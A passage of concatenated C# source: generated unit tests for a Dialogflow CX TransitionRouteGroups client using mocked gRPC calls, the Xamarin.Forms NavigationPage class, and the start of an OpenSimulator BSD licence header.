"[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.CreateTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.CreateTransitionRouteGroup(request); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task CreateTransitionRouteGroupRequestObjectAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); CreateTransitionRouteGroupRequest request = new CreateTransitionRouteGroupRequest { ParentAsFlowName = FlowName.FromProjectLocationAgentFlow("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]"), TransitionRouteGroup = new TransitionRouteGroup(), LanguageCode = "language_code2f6c7160", }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.CreateTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.CreateTransitionRouteGroupAsync(request, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.CreateTransitionRouteGroupAsync(request, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void CreateTransitionRouteGroup() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); CreateTransitionRouteGroupRequest request = new CreateTransitionRouteGroupRequest { ParentAsFlowName = FlowName.FromProjectLocationAgentFlow("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]"), TransitionRouteGroup = new TransitionRouteGroup(), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.CreateTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.CreateTransitionRouteGroup(request.Parent, request.TransitionRouteGroup); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task CreateTransitionRouteGroupAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); CreateTransitionRouteGroupRequest request = new CreateTransitionRouteGroupRequest { ParentAsFlowName = FlowName.FromProjectLocationAgentFlow("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]"), TransitionRouteGroup = new TransitionRouteGroup(), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.CreateTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.CreateTransitionRouteGroupAsync(request.Parent, request.TransitionRouteGroup, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.CreateTransitionRouteGroupAsync(request.Parent, request.TransitionRouteGroup, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void CreateTransitionRouteGroupResourceNames() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); CreateTransitionRouteGroupRequest request = new CreateTransitionRouteGroupRequest { ParentAsFlowName = FlowName.FromProjectLocationAgentFlow("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]"), TransitionRouteGroup = new TransitionRouteGroup(), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.CreateTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.CreateTransitionRouteGroup(request.ParentAsFlowName, request.TransitionRouteGroup); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task CreateTransitionRouteGroupResourceNamesAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); CreateTransitionRouteGroupRequest request = new CreateTransitionRouteGroupRequest { ParentAsFlowName = FlowName.FromProjectLocationAgentFlow("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]"), TransitionRouteGroup = new TransitionRouteGroup(), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.CreateTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.CreateTransitionRouteGroupAsync(request.ParentAsFlowName, request.TransitionRouteGroup, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.CreateTransitionRouteGroupAsync(request.ParentAsFlowName, request.TransitionRouteGroup, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void UpdateTransitionRouteGroupRequestObject() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); UpdateTransitionRouteGroupRequest request = new UpdateTransitionRouteGroupRequest { TransitionRouteGroup = new TransitionRouteGroup(), UpdateMask = new wkt::FieldMask(), LanguageCode = "language_code2f6c7160", }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.UpdateTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.UpdateTransitionRouteGroup(request); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task UpdateTransitionRouteGroupRequestObjectAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); UpdateTransitionRouteGroupRequest request = new UpdateTransitionRouteGroupRequest { TransitionRouteGroup = new TransitionRouteGroup(), UpdateMask = new wkt::FieldMask(), LanguageCode = "language_code2f6c7160", }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.UpdateTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.UpdateTransitionRouteGroupAsync(request, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.UpdateTransitionRouteGroupAsync(request, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void UpdateTransitionRouteGroup() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); UpdateTransitionRouteGroupRequest request = new UpdateTransitionRouteGroupRequest { TransitionRouteGroup = new TransitionRouteGroup(), UpdateMask = new wkt::FieldMask(), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.UpdateTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup response = client.UpdateTransitionRouteGroup(request.TransitionRouteGroup, request.UpdateMask); xunit::Assert.Same(expectedResponse, response); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task UpdateTransitionRouteGroupAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); UpdateTransitionRouteGroupRequest request = new UpdateTransitionRouteGroupRequest { TransitionRouteGroup = new TransitionRouteGroup(), UpdateMask = new wkt::FieldMask(), }; TransitionRouteGroup expectedResponse = new TransitionRouteGroup { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), DisplayName = "display_name137f65c2", TransitionRoutes = { new TransitionRoute(), }, }; mockGrpcClient.Setup(x => x.UpdateTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<TransitionRouteGroup>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); TransitionRouteGroup responseCallSettings = await client.UpdateTransitionRouteGroupAsync(request.TransitionRouteGroup, request.UpdateMask, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); xunit::Assert.Same(expectedResponse, responseCallSettings); TransitionRouteGroup responseCancellationToken = await client.UpdateTransitionRouteGroupAsync(request.TransitionRouteGroup, request.UpdateMask, st::CancellationToken.None); xunit::Assert.Same(expectedResponse, responseCancellationToken); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void DeleteTransitionRouteGroupRequestObject() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); DeleteTransitionRouteGroupRequest request = new DeleteTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), Force = true, }; wkt::Empty expectedResponse = new wkt::Empty { }; mockGrpcClient.Setup(x => x.DeleteTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); client.DeleteTransitionRouteGroup(request); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task DeleteTransitionRouteGroupRequestObjectAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); DeleteTransitionRouteGroupRequest request = new DeleteTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), Force = true, }; wkt::Empty expectedResponse = new wkt::Empty { }; mockGrpcClient.Setup(x => x.DeleteTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<wkt::Empty>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); await client.DeleteTransitionRouteGroupAsync(request, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); await client.DeleteTransitionRouteGroupAsync(request, st::CancellationToken.None); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void DeleteTransitionRouteGroup() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); DeleteTransitionRouteGroupRequest request = new DeleteTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; wkt::Empty expectedResponse = new wkt::Empty { }; mockGrpcClient.Setup(x => x.DeleteTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); client.DeleteTransitionRouteGroup(request.Name); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task DeleteTransitionRouteGroupAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); DeleteTransitionRouteGroupRequest request = new DeleteTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; wkt::Empty expectedResponse = new wkt::Empty { }; mockGrpcClient.Setup(x => x.DeleteTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<wkt::Empty>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); await client.DeleteTransitionRouteGroupAsync(request.Name, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); await client.DeleteTransitionRouteGroupAsync(request.Name, st::CancellationToken.None); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public void DeleteTransitionRouteGroupResourceNames() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); DeleteTransitionRouteGroupRequest request = new DeleteTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; wkt::Empty expectedResponse = new wkt::Empty { }; mockGrpcClient.Setup(x => x.DeleteTransitionRouteGroup(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(expectedResponse); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); client.DeleteTransitionRouteGroup(request.TransitionRouteGroupName); mockGrpcClient.VerifyAll(); } [xunit::FactAttribute] public async stt::Task DeleteTransitionRouteGroupResourceNamesAsync() { moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient> mockGrpcClient = new moq::Mock<TransitionRouteGroups.TransitionRouteGroupsClient>(moq::MockBehavior.Strict); DeleteTransitionRouteGroupRequest request = new DeleteTransitionRouteGroupRequest { TransitionRouteGroupName = TransitionRouteGroupName.FromProjectLocationAgentFlowTransitionRouteGroup("[PROJECT]", "[LOCATION]", "[AGENT]", "[FLOW]", "[TRANSITION_ROUTE_GROUP]"), }; wkt::Empty expectedResponse = new wkt::Empty { }; mockGrpcClient.Setup(x => x.DeleteTransitionRouteGroupAsync(request, moq::It.IsAny<grpccore::CallOptions>())).Returns(new grpccore::AsyncUnaryCall<wkt::Empty>(stt::Task.FromResult(expectedResponse), null, null, null, null)); TransitionRouteGroupsClient client = new TransitionRouteGroupsClientImpl(mockGrpcClient.Object, null); await client.DeleteTransitionRouteGroupAsync(request.TransitionRouteGroupName, gaxgrpc::CallSettings.FromCancellationToken(st::CancellationToken.None)); await client.DeleteTransitionRouteGroupAsync(request.TransitionRouteGroupName, st::CancellationToken.None); mockGrpcClient.VerifyAll(); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Xamarin.Forms.Internals; using Xamarin.Forms.Platform; namespace Xamarin.Forms { [RenderWith(typeof(_NavigationPageRenderer))] public class NavigationPage : Page, IPageContainer<Page>, INavigationPageController { public static readonly BindableProperty BackButtonTitleProperty = BindableProperty.CreateAttached("BackButtonTitle", typeof(string), typeof(Page), null); public static readonly BindableProperty HasNavigationBarProperty = BindableProperty.CreateAttached("HasNavigationBar", typeof(bool), typeof(Page), true); public static readonly BindableProperty HasBackButtonProperty = BindableProperty.CreateAttached("HasBackButton", typeof(bool), typeof(NavigationPage), true); [Obsolete("Use BarBackgroundColorProperty and BarTextColorProperty to change NavigationPage bar color properties")] public static readonly BindableProperty TintProperty = BindableProperty.Create("Tint", typeof(Color), typeof(NavigationPage), Color.Default); public static readonly BindableProperty BarBackgroundColorProperty = BindableProperty.Create("BarBackgroundColor", typeof(Color), typeof(NavigationPage), Color.Default); public static readonly BindableProperty BarTextColorProperty = BindableProperty.Create("BarTextColor", typeof(Color), typeof(NavigationPage), Color.Default); public static readonly BindableProperty TitleIconProperty = BindableProperty.CreateAttached("TitleIcon", typeof(FileImageSource), typeof(NavigationPage), default(FileImageSource)); static readonly BindablePropertyKey CurrentPagePropertyKey = BindableProperty.CreateReadOnly("CurrentPage", typeof(Page), typeof(NavigationPage), null); public static readonly BindableProperty CurrentPageProperty = CurrentPagePropertyKey.BindableProperty; public NavigationPage() { Navigation = new NavigationImpl(this); } public NavigationPage(Page root) : this() { PushPage(root); } public Color BarBackgroundColor { get { return (Color)GetValue(BarBackgroundColorProperty); } set { SetValue(BarBackgroundColorProperty, value); } } public Color BarTextColor { get { return (Color)GetValue(BarTextColorProperty); } set { SetValue(BarTextColorProperty, value); } } [Obsolete("Use BarBackgroundColor and BarTextColor to change NavigationPage bar color properties")] public Color Tint { get { return (Color)GetValue(TintProperty); } set { SetValue(TintProperty, value); } } internal Task CurrentNavigationTask { get; set; } Stack<Page> INavigationPageController.StackCopy { get { var result = new Stack<Page>(InternalChildren.Count); foreach (Page page in InternalChildren) result.Push(page); return result; } } int INavigationPageController.StackDepth { get { return InternalChildren.Count; } } public Page CurrentPage { get { return (Page)GetValue(CurrentPageProperty); } private set { SetValue(CurrentPagePropertyKey, value); } } public static string GetBackButtonTitle(BindableObject page) { return (string)page.GetValue(BackButtonTitleProperty); } public static bool GetHasBackButton(Page page) { if (page == null) throw new ArgumentNullException("page"); return (bool)page.GetValue(HasBackButtonProperty); } public static bool GetHasNavigationBar(BindableObject page) { return (bool)page.GetValue(HasNavigationBarProperty); } public static FileImageSource GetTitleIcon(BindableObject bindable) { return (FileImageSource)bindable.GetValue(TitleIconProperty); } public Task<Page> PopAsync() { return PopAsync(true); } public async Task<Page> PopAsync(bool animated) { if (CurrentNavigationTask != null && !CurrentNavigationTask.IsCompleted) { var tcs = new TaskCompletionSource<bool>(); Task oldTask = CurrentNavigationTask; CurrentNavigationTask = tcs.Task; await oldTask; Page page = await ((INavigationPageController)this).PopAsyncInner(animated); tcs.SetResult(true); return page; } Task<Page> result = ((INavigationPageController)this).PopAsyncInner(animated); CurrentNavigationTask = result; return await result; } public event EventHandler<NavigationEventArgs> Popped; public event EventHandler<NavigationEventArgs> PoppedToRoot; public Task PopToRootAsync() { return PopToRootAsync(true); } public async Task PopToRootAsync(bool animated) { if (CurrentNavigationTask != null && !CurrentNavigationTask.IsCompleted) { var tcs = new TaskCompletionSource<bool>(); Task oldTask = CurrentNavigationTask; CurrentNavigationTask = tcs.Task; await oldTask; await PopToRootAsyncInner(animated); tcs.SetResult(true); return; } Task result = PopToRootAsyncInner(animated); CurrentNavigationTask = result; await result; } public Task PushAsync(Page page) { return PushAsync(page, true); } public async Task PushAsync(Page page, bool animated) { if (CurrentNavigationTask != null && !CurrentNavigationTask.IsCompleted) { var tcs = new TaskCompletionSource<bool>(); Task oldTask = CurrentNavigationTask; CurrentNavigationTask = tcs.Task; await oldTask; await PushAsyncInner(page, animated); tcs.SetResult(true); return; } CurrentNavigationTask = PushAsyncInner(page, animated); await CurrentNavigationTask; } public event EventHandler<NavigationEventArgs> Pushed; public static void SetBackButtonTitle(BindableObject page, string value) { page.SetValue(BackButtonTitleProperty, value); } public static void SetHasBackButton(Page page, bool value) { if (page == null) throw new ArgumentNullException("page"); page.SetValue(HasBackButtonProperty, value); } public static void SetHasNavigationBar(BindableObject page, bool value) { page.SetValue(HasNavigationBarProperty, value); } public static void SetTitleIcon(BindableObject bindable, FileImageSource value) { bindable.SetValue(TitleIconProperty, value); } protected override bool OnBackButtonPressed() { if (CurrentPage.SendBackButtonPressed()) return true; if (((INavigationPageController)this).StackDepth > 1) { SafePop(); return true; } return base.OnBackButtonPressed(); } event EventHandler<NavigationRequestedEventArgs> InsertPageBeforeRequestedInternal; event EventHandler<NavigationRequestedEventArgs> INavigationPageController.InsertPageBeforeRequested { add { InsertPageBeforeRequestedInternal += value; } remove { InsertPageBeforeRequestedInternal -= value; } } async Task<Page> INavigationPageController.PopAsyncInner(bool animated, bool fast) { if (((INavigationPageController)this).StackDepth == 1) { return null; } var page = (Page)InternalChildren.Last(); var args = new NavigationRequestedEventArgs(page, animated); var removed = true; EventHandler<NavigationRequestedEventArgs> requestPop = PopRequestedInternal; if (requestPop != null) { requestPop(this, args); if (args.Task != null && !fast) removed = await args.Task; } if (!removed && !fast) return CurrentPage; InternalChildren.Remove(page); CurrentPage = (Page)InternalChildren.Last(); if (Popped != null) Popped(this, args); return page; } event EventHandler<NavigationRequestedEventArgs> PopRequestedInternal; event EventHandler<NavigationRequestedEventArgs> INavigationPageController.PopRequested { add { PopRequestedInternal += value; } remove { PopRequestedInternal -= value; } } event EventHandler<NavigationRequestedEventArgs> PopToRootRequestedInternal; event EventHandler<NavigationRequestedEventArgs> INavigationPageController.PopToRootRequested { add { PopToRootRequestedInternal += value; } remove { PopToRootRequestedInternal -= value; } } event EventHandler<NavigationRequestedEventArgs> PushRequestedInternal; event EventHandler<NavigationRequestedEventArgs> INavigationPageController.PushRequested { add { PushRequestedInternal += value; } remove { PushRequestedInternal -= value; } } event EventHandler<NavigationRequestedEventArgs> RemovePageRequestedInternal; event EventHandler<NavigationRequestedEventArgs> INavigationPageController.RemovePageRequested { add { RemovePageRequestedInternal += value; } remove { RemovePageRequestedInternal -= value; } } void InsertPageBefore(Page page, Page before) { if (!InternalChildren.Contains(before)) throw new ArgumentException("before must be a child of the NavigationPage", "before"); if (InternalChildren.Contains(page)) throw new ArgumentException("Cannot insert page which is already in the navigation stack"); EventHandler<NavigationRequestedEventArgs> handler = InsertPageBeforeRequestedInternal; if (handler != null) handler(this, new NavigationRequestedEventArgs(page, before, false)); int index = InternalChildren.IndexOf(before); InternalChildren.Insert(index, page); // Shouldn't be required? if (Width > 0 && Height > 0) ForceLayout(); } async Task PopToRootAsyncInner(bool animated) { if (((INavigationPageController)this).StackDepth == 1) return; var root = (Page)InternalChildren.First(); InternalChildren.ToArray().Where(c => c != root).ForEach(c => InternalChildren.Remove(c)); CurrentPage = root; var args = new NavigationRequestedEventArgs(root, animated); EventHandler<NavigationRequestedEventArgs> requestPopToRoot = PopToRootRequestedInternal; if (requestPopToRoot != null) { requestPopToRoot(this, args); if (args.Task != null) await args.Task; } if (PoppedToRoot != null) PoppedToRoot(this, new NavigationEventArgs(root)); } async Task PushAsyncInner(Page page, bool animated) { if (InternalChildren.Contains(page)) return; PushPage(page); var args = new NavigationRequestedEventArgs(page, animated); EventHandler<NavigationRequestedEventArgs> requestPush = PushRequestedInternal; if (requestPush != null) { requestPush(this, args); if (args.Task != null) await args.Task; } if (Pushed != null) Pushed(this, args); } void PushPage(Page page) { InternalChildren.Add(page); CurrentPage = page; } void RemovePage(Page page) { if (page == CurrentPage && ((INavigationPageController)this).StackDepth <= 1) throw new InvalidOperationException("Cannot remove root page when it is also the currently displayed page."); if (page == CurrentPage) { Log.Warning("NavigationPage", "RemovePage called for CurrentPage object. This can result in undesired behavior, consider called PopAsync instead."); PopAsync(); return; } if (!InternalChildren.Contains(page)) throw new ArgumentException("Page to remove must be contained on this Navigation Page"); EventHandler<NavigationRequestedEventArgs> handler = RemovePageRequestedInternal; if (handler != null) handler(this, new NavigationRequestedEventArgs(page, true)); InternalChildren.Remove(page); } void SafePop() { PopAsync(true).ContinueWith(t => { if (t.IsFaulted) throw t.Exception; }); } class NavigationImpl : NavigationProxy { readonly Lazy<ReadOnlyCastingList<Page, Element>> _castingList; public NavigationImpl(NavigationPage owner) { Owner = owner; _castingList = new Lazy<ReadOnlyCastingList<Page, Element>>(() => new ReadOnlyCastingList<Page, Element>(Owner.InternalChildren)); } NavigationPage Owner { get; } protected override IReadOnlyList<Page> GetNavigationStack() { return _castingList.Value; } protected override void OnInsertPageBefore(Page page, Page before) { Owner.InsertPageBefore(page, before); } protected override Task<Page> OnPopAsync(bool animated) { return Owner.PopAsync(animated); } protected override Task OnPopToRootAsync(bool animated) { return Owner.PopToRootAsync(animated); } protected override Task OnPushAsync(Page root, bool animated) { return Owner.PushAsync(root, animated); } protected override void OnRemovePage(Page page) { Owner.RemovePage(page); } } } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, 